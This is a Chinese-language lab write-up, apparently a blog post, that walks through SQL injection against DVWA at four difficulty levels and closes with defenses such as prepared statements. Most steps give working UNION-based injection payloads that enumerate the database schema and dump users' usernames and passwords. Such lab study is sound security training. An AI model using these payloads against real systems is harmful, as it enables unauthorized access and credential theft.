DVWA之SQL注入漏洞

Low(数字型注入)

1、先确定正常和不正常的回显

回显,就是显示正在执行的批处理命令及执行的结果等。

输入1时,有回显,是正常的 数据库语句: select * from table where id =1

输入5时,有回显,是正常的 数据库语句: select * from table where id =5

输入6时,没有回显 数据库语句: select * from table where id =6

从1~5是查询成功的,而5以后,却不显示,说明有5个用户

2、判断是否存在注入点

我先尝试数字型注入:“ ' ”,“and 1=1”,“and 1=2”

首先输入“ 1' ”,查询报错:

通过注入发现该注入为数字型,而不是字符型

参考:https://www.runoob.com/mysql/mysql-operator.html 逻辑运算符

继续输入“1 and 1=1”,查询成功: 数据库查询语句: select * from table where id =1 and 1=1

当输入“1 and 1=2”的时候,查询成功: 数据库查询语句: select * from table where id =1 and 1=2

3、列字段 判断表列数

使用命令:1' or 1=1 order by 1 # 、 1' or 1=1 order by 2 # 、1' or 1=1 order by 3 # ,查询成功。

#是注释符号

当输入“1' or 1=1 order by 1 #”时,查询成功:

数据库查询语句展示

当输入“1' or 1=1 order by 3 #”时,查询报错:

说明执行的sql查询语句中只有两个字段,即这里的First name、Surname.

4、判断显示位

-1' union select 1,2#

啥是union

联合查询 显然union会一次显示两个查询结果我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。

union注入流程:依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据

数据库语句

5、判断当前数据库\数据库版本号\当前用户信息

-1' union select group_concat(database(),version(),user()),2#

数据库查询语句展示

6、判断表名

-1' union select group_concat(database(),version(),user()),group_concat(table_name) from information_schema.tables where table_schema=database()#

FAQ

解决DVWA靶场中返回的报错信息 “Illegal mix of collations for operation ‘UNION‘ ”

7、判断字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

8、判断记字段中的数据

1' union select user,password from users#

Medium(数字型注入)

下图可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),查看sql查询语句可以看出可能存在数字型sql注入

1、判断注入点,以及注入的类型,下图可以看到,存在注入,注入类型是数字型注入

2、猜解sql查询语句中的字段的列数,下图说明字段的列数为2

1 order by 3

3、确定回显的位置,下图可以说明有2个回显位置

1 union select 1,2#

4、获取当前数据库的名称以及版本

1 union select database(),version()#

5、获取数据库中的所有表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

6、获取表中的所有字段名

1 union select user,password from users#

High高级(数字型注入)

点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入

参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过

1、判断注入点

2、判断列数

1' order by 2#

1' union select database(),version()#

3、判断表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

4、判断表记录

1' union select user,password from users#

Impossible(高级)

Impossible级别的代码采用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击

至于PDO技术为什么可以有效解决sql注入,大家可以看看这个博客

https://www.cnblogs.com/alazalazalaz/p/6056393.html

SQL Injection SQL防护总结

  1. 对参数进行预编译

  1. 使用正则表达式过滤传入的参数

  1. 字符串过滤,转义

猜你喜欢

转载自blog.csdn.net/weixin_56306210/article/details/128803124